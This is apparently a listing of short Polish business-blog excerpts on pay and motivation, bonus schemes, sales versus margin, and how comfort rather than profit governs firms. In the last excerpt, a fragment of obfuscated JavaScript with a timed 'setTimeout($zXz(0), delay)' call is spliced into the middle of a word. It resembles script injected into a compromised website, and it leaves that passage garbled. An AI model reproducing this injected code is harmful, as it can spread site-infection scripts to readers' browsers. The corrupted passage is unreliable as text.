Płaca działa tylko w jedną stronę

Czyli tylko (ewentualnie) demotywuje, jeśli jest znacznie poniżej rynku czy tylko poniżej oczekiwań. Trudno jednak (czy może bardziej naiwnie) oczekiwać, że kogokolwiek do czegokolwiek zmotywuje. [...]

Bonus kompensuje słabe zarządzanie

Albo i nie. Ale wielu menedżerów ma taką nadzieję. I dlatego domagają się od swoich przełożonych bonusowego systemu wynagradzania. Ci z kolei próbują z jednej strony skompensować słabość swoich [...]

Ważniejsza jest sprzedaż czy marża?

Na co należy postawić (gdyż zwykle trzeba wybierać). Odpowiedź brzmi, „zależy kiedy”. Jeśli firma dopiero coś zaczyna, czy zaczyna w ogóle, czy tylko jakoś projekt, lepiej postawić na szybkość, [...]

Firmą rządzi wygoda

A nie zysk, war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość firmy, udział w rynku czy Model Biznesowy. Trochę też rządzi ego, walka o władzę, pozycję, prestiż, [...]